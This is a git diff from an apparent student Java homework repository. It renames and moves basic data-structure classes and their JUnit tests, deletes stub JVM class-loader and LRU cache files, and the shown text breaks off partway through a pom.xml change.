rename to group17/1204187480/code/homework/basic/src/main/java/com/coding/basic/Queue.java
index e333496198..10560f969e 100644
--- a/group17/1204187480/code/homework/coding/src/main/java/com/coding/basic/Queue.java
+++ b/group17/1204187480/code/homework/basic/src/main/java/com/coding/basic/Queue.java
@@ -1,24 +1,24 @@
-package com.coding.basic;
-
-import com.coding.basic.linklist.LinkedList;
-
-public class Queue {
-
-	private LinkedList elementData = new LinkedList();
-
-	public void enQueue(Object o){
-		elementData.add(o);
-	}
-	
-	public Object deQueue(){
-		return elementData.remove(0);
-	}
-	
-	public boolean isEmpty(){
-		return size() == 0;
-	}
-	
-	public int size(){
-		return elementData.size();
-	}
-}
+package com.coding.basic;
+
+import java.util.Arrays;
+
+public class Queue {
+
+	private LinkedList elementData = new LinkedList();
+
+	public void enQueue(Object o){
+		elementData.add(o);
+	}
+	
+	public Object deQueue(){
+		return elementData.remove(0);
+	}
+	
+	public boolean isEmpty(){
+		return size() == 0;
+	}
+	
+	public int size(){
+		return elementData.size();
+	}
+}
diff --git a/group17/1204187480/code/homework/coding/src/main/java/com/coding/basic/Stack.java b/group17/1204187480/code/homework/basic/src/main/java/com/coding/basic/Stack.java
similarity index 93%
rename from group17/1204187480/code/homework/coding/src/main/java/com/coding/basic/Stack.java
rename to group17/1204187480/code/homework/basic/src/main/java/com/coding/basic/Stack.java
index 7336dccfe9..998ddf9768 100644
--- a/group17/1204187480/code/homework/coding/src/main/java/com/coding/basic/Stack.java
+++ b/group17/1204187480/code/homework/basic/src/main/java/com/coding/basic/Stack.java
@@ -1,32 +1,30 @@
-package com.coding.basic;
-
-import com.coding.basic.array.ArrayList;
-
-public class Stack {
-	private ArrayList elementData = new ArrayList();
-	
-	public void push(Object o){
-		elementData.add(o);
-	}
-	
-	public Object pop(){
-		if (isEmpty()) {
-			throw new IllegalStateException("the stack is empty");
-		}
-		return elementData.remove(elementData.size() - 1);
-	}
-	
-	public Object peek(){
-		if (isEmpty()) {
-			throw new IllegalStateException("the stack is empty");
-		}
-		return elementData.get(elementData.size() - 1);
-	}
-
-	public boolean isEmpty(){
-		return size() == 0;
-	}
-	public int size(){
-		return elementData.size();
-	}
-}
+package com.coding.basic;
+
+public class Stack {
+	private ArrayList elementData = new ArrayList();
+	
+	public void push(Object o){
+		elementData.add(o);
+	}
+	
+	public Object pop(){
+		if (isEmpty()) {
+			throw new IllegalStateException("the stack is empty");
+		}
+		return elementData.remove(elementData.size() - 1);
+	}
+	
+	public Object peek(){
+		if (isEmpty()) {
+			throw new IllegalStateException("the stack is empty");
+		}
+		return elementData.get(elementData.size() - 1);
+	}
+
+	public boolean isEmpty(){
+		return size() == 0;
+	}
+	public int size(){
+		return elementData.size();
+	}
+}
diff --git a/group17/1204187480/code/homework/coding/src/test/java/com/coding/api/ArraysTest.java b/group17/1204187480/code/homework/basic/src/test/java/com/coding/api/ArraysTest.java
similarity index 95%
rename from group17/1204187480/code/homework/coding/src/test/java/com/coding/api/ArraysTest.java
rename to group17/1204187480/code/homework/basic/src/test/java/com/coding/api/ArraysTest.java
index eb41a7e262..6c96193d82 100644
--- a/group17/1204187480/code/homework/coding/src/test/java/com/coding/api/ArraysTest.java
+++ b/group17/1204187480/code/homework/basic/src/test/java/com/coding/api/ArraysTest.java
@@ -1,22 +1,22 @@
-package com.coding.api;
-
-import org.junit.Test;
-import org.slf4j.Logger;
-import org.slf4j.LoggerFactory;
-
-import java.util.Arrays;
-
-/**
- * Created by luoziyihao on 2/25/17.
- */
-public class ArraysTest {
-    private final Logger logger = LoggerFactory.getLogger(this.getClass());
-
-
-    @Test
-    public void testCopyOf(){
-        Object[] a = new Object[]{1, 2, 3, 4};
-        Object[] b = Arrays.copyOf(a, 10);
-        logger.info("a={}, b={}", Arrays.toString(a), Arrays.toString(b));
-    }
-}
+package com.coding.api;
+
+import org.junit.Test;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+import java.util.Arrays;
+
+/**
+ * Created by luoziyihao on 2/25/17.
+ */
+public class ArraysTest {
+    private final Logger logger = LoggerFactory.getLogger(this.getClass());
+
+
+    @Test
+    public void testCopyOf(){
+        Object[] a = new Object[]{1, 2, 3, 4};
+        Object[] b = Arrays.copyOf(a, 10);
+        logger.info("a={}, b={}", Arrays.toString(a), Arrays.toString(b));
+    }
+}
diff --git a/group17/1204187480/code/homework/coding/src/test/java/com/coding/api/SystemTest.java b/group17/1204187480/code/homework/basic/src/test/java/com/coding/api/SystemTest.java
similarity index 95%
rename from group17/1204187480/code/homework/coding/src/test/java/com/coding/api/SystemTest.java
rename to group17/1204187480/code/homework/basic/src/test/java/com/coding/api/SystemTest.java
index efc4022378..6a23cb125e 100644
--- a/group17/1204187480/code/homework/coding/src/test/java/com/coding/api/SystemTest.java
+++ b/group17/1204187480/code/homework/basic/src/test/java/com/coding/api/SystemTest.java
@@ -1,24 +1,24 @@
-package com.coding.api;
-
-import org.junit.Test;
-import org.slf4j.Logger;
-import org.slf4j.LoggerFactory;
-
-import java.util.Arrays;
-
-/**
- * Created by luoziyihao on 2/25/17.
- */
-public class SystemTest {
-
-    private final Logger logger = LoggerFactory.getLogger(this.getClass());
-
-        @Test
-    public void testArrayCopy() {
-        int[] a = new int[]{1, 2, 3, 4, 5, 6, 7};
-        int[] b = new int[]{11, 22, 33, 44, 55, 66, 77};
-        System.arraycopy(a, 2, b, 4, 3);
-        logger.info("b={}", Arrays.toString(b));
-
-    }
-}
+package com.coding.api;
+
+import org.junit.Test;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+import java.util.Arrays;
+
+/**
+ * Created by luoziyihao on 2/25/17.
+ */
+public class SystemTest {
+
+    private final Logger logger = LoggerFactory.getLogger(this.getClass());
+
+        @Test
+    public void testArrayCopy() {
+        int[] a = new int[]{1, 2, 3, 4, 5, 6, 7};
+        int[] b = new int[]{11, 22, 33, 44, 55, 66, 77};
+        System.arraycopy(a, 2, b, 4, 3);
+        logger.info("b={}", Arrays.toString(b));
+
+    }
+}
diff --git a/group17/1204187480/code/homework/coding/src/test/java/com/coding/basic/ArrayListTest.java b/group17/1204187480/code/homework/basic/src/test/java/com/coding/basic/ArrayListTest.java
similarity index 93%
rename from group17/1204187480/code/homework/coding/src/test/java/com/coding/basic/ArrayListTest.java
rename to group17/1204187480/code/homework/basic/src/test/java/com/coding/basic/ArrayListTest.java
index fba6895d09..656ff54c06 100644
--- a/group17/1204187480/code/homework/coding/src/test/java/com/coding/basic/ArrayListTest.java
+++ b/group17/1204187480/code/homework/basic/src/test/java/com/coding/basic/ArrayListTest.java
@@ -1,36 +1,35 @@
-package com.coding.basic;
-
-import com.coding.basic.array.ArrayList;
-import org.junit.Before;
-import org.junit.Test;
-import org.slf4j.Logger;
-import org.slf4j.LoggerFactory;
-
-
-/**
- * Created by luoziyihao on 2/25/17.
- */
-public class ArrayListTest {
-
-    private final Logger logger = LoggerFactory.getLogger(this.getClass());
-
-
-    private List list = new ArrayList();
-
-    @Before
-    public void before() {
-
-    }
-
-    @Test
-    public void add() throws Exception {
-        list.add(1);
-    }
-
-    @Test
-    public void get() throws Exception {
-        add();
-        logger.info("{}", list.get(0));
-    }
-
+package com.coding.basic;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+
+/**
+ * Created by luoziyihao on 2/25/17.
+ */
+public class ArrayListTest {
+
+    private final Logger logger = LoggerFactory.getLogger(this.getClass());
+
+
+    private List list = new ArrayList();
+
+    @Before
+    public void before() {
+
+    }
+
+    @Test
+    public void add() throws Exception {
+        list.add(1);
+    }
+
+    @Test
+    public void get() throws Exception {
+        add();
+        logger.info("{}", list.get(0));
+    }
+
 }
\ No newline at end of file
diff --git a/group17/1204187480/code/homework/coding/src/test/java/com/coding/basic/LinkedListTest.java b/group17/1204187480/code/homework/basic/src/test/java/com/coding/basic/LinkedListTest.java
similarity index 96%
rename from group17/1204187480/code/homework/coding/src/test/java/com/coding/basic/LinkedListTest.java
rename to group17/1204187480/code/homework/basic/src/test/java/com/coding/basic/LinkedListTest.java
index 549553e696..0424c2945e 100644
--- a/group17/1204187480/code/homework/coding/src/test/java/com/coding/basic/LinkedListTest.java
+++ b/group17/1204187480/code/homework/basic/src/test/java/com/coding/basic/LinkedListTest.java
@@ -1,6 +1,5 @@
 package com.coding.basic;
 
-import com.coding.basic.linklist.LinkedList;
 import org.junit.Assert;
 import org.junit.Test;
 
@@ -62,21 +61,18 @@ public void removeFirstHalf() throws Exception {
         linkedList.removeFirstHalf();
         Assert.assertEquals("[]", linkedList.toString());
     }
-
     @Test
     public void removeFirstHalf1() throws Exception {
         LinkedList linkedList = createAndFillLinkedList(1);
         linkedList.removeFirstHalf();
         Assert.assertEquals("[1]", linkedList.toString());
     }
-
     @Test
     public void removeFirstHalf2() throws Exception {
         LinkedList linkedList = createAndFillLinkedList(2);
         linkedList.removeFirstHalf();
         Assert.assertEquals("[2]", linkedList.toString());
     }
-
     @Test
     public void removeFirstHalf3() throws Exception {
         LinkedList linkedList = createAndFillLinkedList(3);
@@ -106,43 +102,37 @@ public void remove1() throws Exception {
         list.remove(0, 0);
         Assert.assertEquals("[1,2,3,4]", list.toString());
     }
-
-    @Test
+ @Test
     public void remove2() throws Exception {
         LinkedList list = createAndFillLinkedList(4);
         list.remove(0, 1);
         Assert.assertEquals("[2,3,4]", list.toString());
     }
-
-    @Test
+ @Test
     public void remove3() throws Exception {
         LinkedList list = createAndFillLinkedList(4);
         list.remove(1, 0);
         Assert.assertEquals("[1,2,3,4]", list.toString());
     }
-
-    @Test
+ @Test
     public void remove4() throws Exception {
         LinkedList list = createAndFillLinkedList(4);
         list.remove(1, 1);
         Assert.assertEquals("[1,3,4]", list.toString());
     }
-
-    @Test
+@Test
     public void remove5() throws Exception {
         LinkedList list = createAndFillLinkedList(4);
         list.remove(1, 3);
         Assert.assertEquals("[1]", list.toString());
     }
-
-    @Test
+@Test
     public void remove6() throws Exception {
         LinkedList list = createAndFillLinkedList(4);
         list.remove(1, 4);
         Assert.assertEquals("[1]", list.toString());
     }
-
-    @Test
+@Test
     public void remove7() throws Exception {
         LinkedList list = createAndFillLinkedList(4);
         list.remove(1, 5);
@@ -151,7 +141,7 @@ public void remove7() throws Exception {
 
     @Test
     public void getElements() throws Exception {
-        LinkedList listA = createAndFillLinkedList(0, 8);
+        LinkedList listA= createAndFillLinkedList(0,8);
         LinkedList listB = createAndFillLinkedList(4, 4);
         Assert.assertEquals("[4,5,6,7]", Arrays.toString(listA.getElements(listB)));
 
diff --git a/group17/1204187480/code/homework/coding/src/main/java/com/coding/basic/array/ArrayUtil.java b/group17/1204187480/code/homework/coderising/src/main/java/com/coderising/array/ArrayUtil.java
similarity index 99%
rename from group17/1204187480/code/homework/coding/src/main/java/com/coding/basic/array/ArrayUtil.java
rename to group17/1204187480/code/homework/coderising/src/main/java/com/coderising/array/ArrayUtil.java
index 42ec6efe57..9aa6404d2a 100644
--- a/group17/1204187480/code/homework/coding/src/main/java/com/coding/basic/array/ArrayUtil.java
+++ b/group17/1204187480/code/homework/coderising/src/main/java/com/coderising/array/ArrayUtil.java
@@ -1,4 +1,4 @@
-package com.coding.basic.array;
+package com.coderising.array;
 
 import org.slf4j.Logger;
 import org.slf4j.LoggerFactory;
diff --git a/group17/1204187480/code/homework/coderising/src/main/java/com/coderising/jvm/loader/ClassFileLoader.java b/group17/1204187480/code/homework/coderising/src/main/java/com/coderising/jvm/loader/ClassFileLoader.java
deleted file mode 100644
index a76de06aa1..0000000000
--- a/group17/1204187480/code/homework/coderising/src/main/java/com/coderising/jvm/loader/ClassFileLoader.java
+++ /dev/null
@@ -1,45 +0,0 @@
-package com.coderising.jvm.loader;
-
-import org.apache.commons.lang3.StringUtils;
-
-import java.util.HashSet;
-import java.util.Set;
-
-/**
- * Created by luoziyihao on 4/27/17.
- */
-public class ClassFileLoader {
-
-    private Set<String> clzPaths;
-
-    public void addClassPath(String path) {
-        if (clzPaths == null) {
-            clzPaths = new HashSet<>(5);
-        }
-        if (StringUtils.isBlank(path)) {
-            return;
-        }
-        clzPaths.add(path);
-
-    }
-
-
-    private static final String SPLIT = ";";
-
-    public String getClassPath() {
-        StringBuilder classPath = new StringBuilder();
-
-        for (String e : clzPaths) {
-            classPath.append(e)
-                    .append(SPLIT);
-        }
-        if (classPath.length() > 1) {
-            classPath.deleteCharAt(classPath.length() - 1);
-        }
-        return classPath.toString();
-    }
-
-    public byte[] readBinaryCode(String className) {
-        return new byte[0];
-    }
-}
diff --git a/group17/1204187480/code/homework/coderising/src/main/java/com/coderising/jvm/test/ClassFileloaderTest.java b/group17/1204187480/code/homework/coderising/src/main/java/com/coderising/jvm/test/ClassFileloaderTest.java
deleted file mode 100644
index b2dceda3e5..0000000000
--- a/group17/1204187480/code/homework/coderising/src/main/java/com/coderising/jvm/test/ClassFileloaderTest.java
+++ /dev/null
@@ -1,355 +0,0 @@
-package com.coderising.jvm.test;
-
-import java.util.List;
-
-import org.junit.After;
-import  org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-//import com.coderising.jvm.clz.ClassFile;
-//import com.coderising.jvm.clz.ClassIndex;
-//import com.coderising.jvm.cmd.BiPushCmd;
-//import com.coderising.jvm.cmd.ByteCodeCommand;
-//import com.coderising.jvm.cmd.OneOperandCmd;
-//import com.coderising.jvm.cmd.TwoOperandCmd;
-//import com.coderising.jvm.constant.ClassInfo;
-//import com.coderising.jvm.constant.ConstantPool;
-//import com.coderising.jvm.constant.MethodRefInfo;
-//import com.coderising.jvm.constant.NameAndTypeInfo;
-//import com.coderising.jvm.constant.UTF8Info;
-//import com.coderising.jvm.field.Field;
-import com.coderising.jvm.loader.ClassFileLoader;
-//import com.coderising.jvm.method.Method;
-
-
-
-
-
-public class ClassFileloaderTest {
-
-	
-	private static final String FULL_QUALIFIED_CLASS_NAME = "com/coderising/jvm/test/EmployeeV1";
-	
-	static String path1 = "C:\\Users\\liuxin\\git\\coding2017\\liuxin\\mini-jvm\\bin";
-	static String path2 = "C:\temp";
-	
-//	static ClassFile clzFile = null;
-//	static {
-//		ClassFileLoader loader = new ClassFileLoader();
-//		loader.addClassPath(path1);
-//		String className = "com.coderising.jvm.test.EmployeeV1";
-//
-//		clzFile = loader.loadClass(className);
-//
-//	}
-//
-	
-	@Before
-	public void setUp() throws Exception {		 
-	}
-
-	@After
-	public void tearDown() throws Exception {
-	}
-	
-	@Test
-	public void testClassPath(){		
-		
-		ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path1);
-		loader.addClassPath(path2);
-		
-		String clzPath = loader.getClassPath();
-		
-		Assert.assertEquals(path1+";"+path2,clzPath);
-		
-	}
-	
-	@Test
-	public void testClassFileLength() {		
-		
-		ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path1);
-		
-		String className = "com.coderising.jvm.test.EmployeeV1";
-		
-		byte[] byteCodes = loader.readBinaryCode(className);
-		
-		// 注意：这个字节数可能和你的JVM版本有关系， 你可以看看编译好的类到底有多大
-		Assert.assertEquals(1056, byteCodes.length);
-		
-	}
-	
-	
-    @Test	
-	public void testMagicNumber(){
-    	ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path1);
-		String className = "com.coderising.jvm.test.EmployeeV1";
-		byte[] byteCodes = loader.readBinaryCode(className);
-		byte[] codes = new byte[]{byteCodes[0],byteCodes[1],byteCodes[2],byteCodes[3]};
-		
-		
-		String acctualValue = this.byteToHexString(codes);
-		
-		Assert.assertEquals("cafebabe", acctualValue);
-	}
-    
-    
-    
-   	private String byteToHexString(byte[] codes ){
-   		StringBuffer buffer = new StringBuffer();
-   		for(int i=0;i<codes.length;i++){
-   			byte b = codes[i];
-   			int value = b & 0xFF;
-   			String strHex = Integer.toHexString(value);
-   			if(strHex.length()< 2){
-   				strHex = "0" + strHex;
-   			}		
-   			buffer.append(strHex);
-   		}
-   		return buffer.toString();
-   	}
-
-//    add comment for behind test
-//    /**
-//     * ----------------------------------------------------------------------
-//     */
-//
-//
-//    @Test
-//    public void testVersion(){
-//
-//		Assert.assertEquals(0, clzFile.getMinorVersion());
-//		Assert.assertEquals(52, clzFile.getMajorVersion());
-//
-//    }
-//
-//    @Test
-//    public void testConstantPool(){
-//
-//
-//		ConstantPool pool = clzFile.getConstantPool();
-//
-//		Assert.assertEquals(53, pool.getSize());
-//
-//		{
-//			ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(1);
-//			Assert.assertEquals(2, clzInfo.getUtf8Index());
-//
-//			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(2);
-//			Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, utf8Info.getValue());
-//		}
-//		{
-//			ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(3);
-//			Assert.assertEquals(4, clzInfo.getUtf8Index());
-//
-//			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(4);
-//			Assert.assertEquals("java/lang/Object", utf8Info.getValue());
-//		}
-//		{
-//			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(5);
-//			Assert.assertEquals("name", utf8Info.getValue());
-//
-//			utf8Info = (UTF8Info) pool.getConstantInfo(6);
-//			Assert.assertEquals("Ljava/lang/String;", utf8Info.getValue());
-//
-//			utf8Info = (UTF8Info) pool.getConstantInfo(7);
-//			Assert.assertEquals("age", utf8Info.getValue());
-//
-//			utf8Info = (UTF8Info) pool.getConstantInfo(8);
-//			Assert.assertEquals("I", utf8Info.getValue());
-//
-//			utf8Info = (UTF8Info) pool.getConstantInfo(9);
-//			Assert.assertEquals("<init>", utf8Info.getValue());
-//
-//			utf8Info = (UTF8Info) pool.getConstantInfo(10);
-//			Assert.assertEquals("(Ljava/lang/String;I)V", utf8Info.getValue());
-//
-//			utf8Info = (UTF8Info) pool.getConstantInfo(11);
-//			Assert.assertEquals("Code", utf8Info.getValue());
-//		}
-//
-//		{
-//			MethodRefInfo methodRef = (MethodRefInfo)pool.getConstantInfo(12);
-//			Assert.assertEquals(3, methodRef.getClassInfoIndex());
-//			Assert.assertEquals(13, methodRef.getNameAndTypeIndex());
-//		}
-//
-//		{
-//			NameAndTypeInfo nameAndType = (NameAndTypeInfo) pool.getConstantInfo(13);
-//			Assert.assertEquals(9, nameAndType.getIndex1());
-//			Assert.assertEquals(14, nameAndType.getIndex2());
-//		}
-//		//抽查几个吧
-//		{
-//			MethodRefInfo methodRef = (MethodRefInfo)pool.getConstantInfo(45);
-//			Assert.assertEquals(1, methodRef.getClassInfoIndex());
-//			Assert.assertEquals(46, methodRef.getNameAndTypeIndex());
-//		}
-//
-//		{
-//			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(53);
-//			Assert.assertEquals("EmployeeV1.java", utf8Info.getValue());
-//		}
-//    }
-//    @Test
-//    public void testClassIndex(){
-//
-//    	ClassIndex clzIndex = clzFile.getClzIndex();
-//    	ClassInfo thisClassInfo = (ClassInfo)clzFile.getConstantPool().getConstantInfo(clzIndex.getThisClassIndex());
-//    	ClassInfo superClassInfo = (ClassInfo)clzFile.getConstantPool().getConstantInfo(clzIndex.getSuperClassIndex());
-//
-//
-//    	Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, thisClassInfo.getClassName());
-//    	Assert.assertEquals("java/lang/Object", superClassInfo.getClassName());
-//    }
-//
-//    /**
-//     * 下面是第三次JVM课应实现的测试用例
-//     */
-//    @Test
-//    public void testReadFields(){
-//
-//    	List<Field> fields = clzFile.getFields();
-//    	Assert.assertEquals(2, fields.size());
-//    	{
-//    		Field f = fields.get(0);
-//    		Assert.assertEquals("name:Ljava/lang/String;", f.toString());
-//    	}
-//    	{
-//    		Field f = fields.get(1);
-//    		Assert.assertEquals("age:I", f.toString());
-//    	}
-//    }
-//    @Test
-//    public void testMethods(){
-//
-//    	List<Method> methods = clzFile.getMethods();
-//    	ConstantPool pool = clzFile.getConstantPool();
-//
-//    	{
-//    		Method m = methods.get(0);
-//    		assertMethodEquals(pool,m,
-//    				"<init>",
-//    				"(Ljava/lang/String;I)V",
-//    				"2ab7000c2a2bb5000f2a1cb50011b1");
-//
-//    	}
-//    	{
-//    		Method m = methods.get(1);
-//    		assertMethodEquals(pool,m,
-//    				"setName",
-//    				"(Ljava/lang/String;)V",
-//    				"2a2bb5000fb1");
-//
-//    	}
-//    	{
-//    		Method m = methods.get(2);
-//    		assertMethodEquals(pool,m,
-//    				"setAge",
-//    				"(I)V",
-//    				"2a1bb50011b1");
-//    	}
-//    	{
-//    		Method m = methods.get(3);
-//    		assertMethodEquals(pool,m,
-//    				"sayHello",
-//    				"()V",
-//    				"b2001c1222b60024b1");
-//
-//    	}
-//    	{
-//    		Method m = methods.get(4);
-//    		assertMethodEquals(pool,m,
-//    				"main",
-//    				"([Ljava/lang/String;)V",
-//    				"bb000159122b101db7002d4c2bb6002fb1");
-//    	}
-//    }
-//
-//    private void assertMethodEquals(ConstantPool pool,Method m , String expectedName, String expectedDesc,String expectedCode){
-//    	String methodName = pool.getUTF8String(m.getNameIndex());
-//		String methodDesc = pool.getUTF8String(m.getDescriptorIndex());
-//		String code = m.getCodeAttr().getCode();
-//		Assert.assertEquals(expectedName, methodName);
-//		Assert.assertEquals(expectedDesc, methodDesc);
-//		Assert.assertEquals(expectedCode, code);
-//    }
-//
-//    @Test
-//    public void testByteCodeCommand(){
-//    	{
-//	    	Method initMethod = this.clzFile.getMethod("<init>", "(Ljava/lang/String;I)V");
-//	    	ByteCodeCommand [] cmds = initMethod.getCmds();
-//
-//	    	assertOpCodeEquals("0: aload_0", cmds[0]);
-//	    	assertOpCodeEquals("1: invokespecial #12", cmds[1]);
-//	    	assertOpCodeEquals("4: aload_0", cmds[2]);
-//	    	assertOpCodeEquals("5: aload_1", cmds[3]);
-//	    	assertOpCodeEquals("6: putfield #15", cmds[4]);
-//	    	assertOpCodeEquals("9: aload_0", cmds[5]);
-//	    	assertOpCodeEquals("10: iload_2", cmds[6]);
-//	    	assertOpCodeEquals("11: putfield #17", cmds[7]);
-//	    	assertOpCodeEquals("14: return", cmds[8]);
-//    	}
-//
-//    	{
-//	    	Method setNameMethod = this.clzFile.getMethod("setName", "(Ljava/lang/String;)V");
-//	    	ByteCodeCommand [] cmds = setNameMethod.getCmds();
-//
-//	    	assertOpCodeEquals("0: aload_0", cmds[0]);
-//	    	assertOpCodeEquals("1: aload_1", cmds[1]);
-//	    	assertOpCodeEquals("2: putfield #15", cmds[2]);
-//	    	assertOpCodeEquals("5: return", cmds[3]);
-//
-//    	}
-//
-//    	{
-//	    	Method sayHelloMethod = this.clzFile.getMethod("sayHello", "()V");
-//	    	ByteCodeCommand [] cmds = sayHelloMethod.getCmds();
-//
-//	    	assertOpCodeEquals("0: getstatic #28", cmds[0]);
-//	    	assertOpCodeEquals("3: ldc #34", cmds[1]);
-//	    	assertOpCodeEquals("5: invokevirtual #36", cmds[2]);
-//	    	assertOpCodeEquals("8: return", cmds[3]);
-//
-//    	}
-//
-//    	{
-//	    	Method mainMethod = this.clzFile.getMainMethod();
-//
-//	    	ByteCodeCommand [] cmds = mainMethod.getCmds();
-//
-//	    	assertOpCodeEquals("0: new #1", cmds[0]);
-//	    	assertOpCodeEquals("3: dup", cmds[1]);
-//	    	assertOpCodeEquals("4: ldc #43", cmds[2]);
-//	    	assertOpCodeEquals("6: bipush 29", cmds[3]);
-//	    	assertOpCodeEquals("8: invokespecial #45", cmds[4]);
-//	    	assertOpCodeEquals("11: astore_1", cmds[5]);
-//	    	assertOpCodeEquals("12: aload_1", cmds[6]);
-//	    	assertOpCodeEquals("13: invokevirtual #47", cmds[7]);
-//	    	assertOpCodeEquals("16: return", cmds[8]);
-//    	}
-//
-//    }
-//
-//    private void assertOpCodeEquals(String expected, ByteCodeCommand cmd){
-//
-//    	String acctual = cmd.getOffset()+": "+cmd.getReadableCodeText();
-//
-//    	if(cmd instanceof OneOperandCmd){
-//    		if(cmd instanceof BiPushCmd){
-//    			acctual += " " + ((OneOperandCmd)cmd).getOperand();
-//    		} else{
-//    			acctual += " #" + ((OneOperandCmd)cmd).getOperand();
-//    		}
-//    	}
-//    	if(cmd instanceof TwoOperandCmd){
-//    		acctual += " #" + ((TwoOperandCmd)cmd).getIndex();
-//    	}
-//    	Assert.assertEquals(expected, acctual);
-//    }
-
-}
diff --git a/group17/1204187480/code/homework/coderising/src/main/java/com/coderising/litestruts/LoginAction.java b/group17/1204187480/code/homework/coderising/src/main/java/com/coderising/litestruts/action/LoginAction.java
similarity index 95%
rename from group17/1204187480/code/homework/coderising/src/main/java/com/coderising/litestruts/LoginAction.java
rename to group17/1204187480/code/homework/coderising/src/main/java/com/coderising/litestruts/action/LoginAction.java
index dcdbe226ed..85ae4dc47c 100644
--- a/group17/1204187480/code/homework/coderising/src/main/java/com/coderising/litestruts/LoginAction.java
+++ b/group17/1204187480/code/homework/coderising/src/main/java/com/coderising/litestruts/action/LoginAction.java
@@ -1,4 +1,4 @@
-package com.coderising.litestruts;
+package com.coderising.litestruts.action;
 
 /**
  * 这是一个用来展示登录的业务类， 其中的用户名和密码都是硬编码的。
diff --git a/group17/1204187480/code/homework/coderising/src/main/resources/struts.xml b/group17/1204187480/code/homework/coderising/src/main/resources/struts.xml
index 876156eb4d..c7ee86e436 100644
--- a/group17/1204187480/code/homework/coderising/src/main/resources/struts.xml
+++ b/group17/1204187480/code/homework/coderising/src/main/resources/struts.xml
@@ -1,6 +1,6 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <struts>
-    <action name="login" class="com.coderising.litestruts.LoginAction">
+    <action name="login" class="com.coderising.litestruts.action.LoginAction">
         <result name="success">/jsp/homepage.jsp</result>
         <result name="fail">/jsp/showLogin.jsp</result>
     </action>
diff --git a/group17/1204187480/code/homework/coding/src/main/java/com/coding/basic/BinaryTreeNode.java b/group17/1204187480/code/homework/coding/src/main/java/com/coding/basic/BinaryTreeNode.java
deleted file mode 100644
index d7ac820192..0000000000
--- a/group17/1204187480/code/homework/coding/src/main/java/com/coding/basic/BinaryTreeNode.java
+++ /dev/null
@@ -1,32 +0,0 @@
-package com.coding.basic;
-
-public class BinaryTreeNode {
-	
-	private Object data;
-	private BinaryTreeNode left;
-	private BinaryTreeNode right;
-	
-	public Object getData() {
-		return data;
-	}
-	public void setData(Object data) {
-		this.data = data;
-	}
-	public BinaryTreeNode getLeft() {
-		return left;
-	}
-	public void setLeft(BinaryTreeNode left) {
-		this.left = left;
-	}
-	public BinaryTreeNode getRight() {
-		return right;
-	}
-	public void setRight(BinaryTreeNode right) {
-		this.right = right;
-	}
-	
-	public BinaryTreeNode insert(Object o){
-		return  null;
-	}
-	
-}
diff --git a/group17/1204187480/code/homework/coding/src/main/java/com/coding/basic/linklist/LRUPageFrame.java b/group17/1204187480/code/homework/coding/src/main/java/com/coding/basic/linklist/LRUPageFrame.java
deleted file mode 100644
index 994a241a3d..0000000000
--- a/group17/1204187480/code/homework/coding/src/main/java/com/coding/basic/linklist/LRUPageFrame.java
+++ /dev/null
@@ -1,57 +0,0 @@
-package com.coding.basic.linklist;
-
-
-public class LRUPageFrame {
-	
-	private static class Node {
-		
-		Node prev;
-		Node next;
-		int pageNum;
-
-		Node() {
-		}
-	}
-
-	private int capacity;
-	
-	private int currentSize;
-	private Node first;// 链表头
-	private Node last;// 链表尾
-
-	
-	public LRUPageFrame(int capacity) {
-		this.currentSize = 0;
-		this.capacity = capacity;
-		
-	}
-
-	/**
-	 * 获取缓存中对象
-	 * 
-	 * @param key
-	 * @return
-	 */
-	public void access(int pageNum) {
-		
-		
-	}
-	
-	
-	public String toString(){
-		StringBuilder buffer = new StringBuilder();
-		Node node = first;
-		while(node != null){
-			buffer.append(node.pageNum);			
-			
-			node = node.next;
-			if(node != null){
-				buffer.append(",");
-			}
-		}
-		return buffer.toString();
-	}
-	
-	
-
-}
diff --git a/group17/1204187480/code/homework/coding/src/main/java/com/coding/basic/linklist/LRUPageFrameTest.java b/group17/1204187480/code/homework/coding/src/main/java/com/coding/basic/linklist/LRUPageFrameTest.java
deleted file mode 100644
index 7fd72fc2b4..0000000000
--- a/group17/1204187480/code/homework/coding/src/main/java/com/coding/basic/linklist/LRUPageFrameTest.java
+++ /dev/null
@@ -1,34 +0,0 @@
-package com.coding.basic.linklist;
-
-import  org.junit.Assert;
-
-import org.junit.Test;
-
-
-public class LRUPageFrameTest {
-	
-	@Test
-	public void testAccess() {
-		LRUPageFrame frame = new LRUPageFrame(3);
-		frame.access(7);
-		frame.access(0);
-		frame.access(1);
-		Assert.assertEquals("1,0,7", frame.toString());
-		frame.access(2);
-		Assert.assertEquals("2,1,0", frame.toString());
-		frame.access(0);
-		Assert.assertEquals("0,2,1", frame.toString());
-		frame.access(0);
-		Assert.assertEquals("0,2,1", frame.toString());
-		frame.access(3);
-		Assert.assertEquals("3,0,2", frame.toString());
-		frame.access(0);
-		Assert.assertEquals("0,3,2", frame.toString());
-		frame.access(4);
-		Assert.assertEquals("4,0,3", frame.toString());
-		frame.access(5);
-		Assert.assertEquals("5,4,0", frame.toString());
-		
-	}
-
-}
diff --git a/group17/1204187480/code/homework/parent/pom.xml b/group17/1204187480/code/homework/parent/pom.xml
index 4b82387454..ace9bf9cc5 100644
--- a/group17/1204187480/code/homework/parent/pom.xml
+++ b/group17/1204187480/code/homework/parent/pom.xml
@@ -8,66 +8,18 @@
     <version>1.0-SNAPSHOT</version>
     <url>https://github.com/luoziyihao/coding2017</url>
 
-    <pluginRepositories>
-        <pluginRepository>
-            <id>alimaven</id>
-            <name>aliyun maven</name>
-            <url>http://maven.aliyun.com/nexus/content/groups/public/</url>
-            <releases>
-                <enabled>true</enabled>
-            </releases>
-            <snapshots>
-                <enabled>true</enabled>
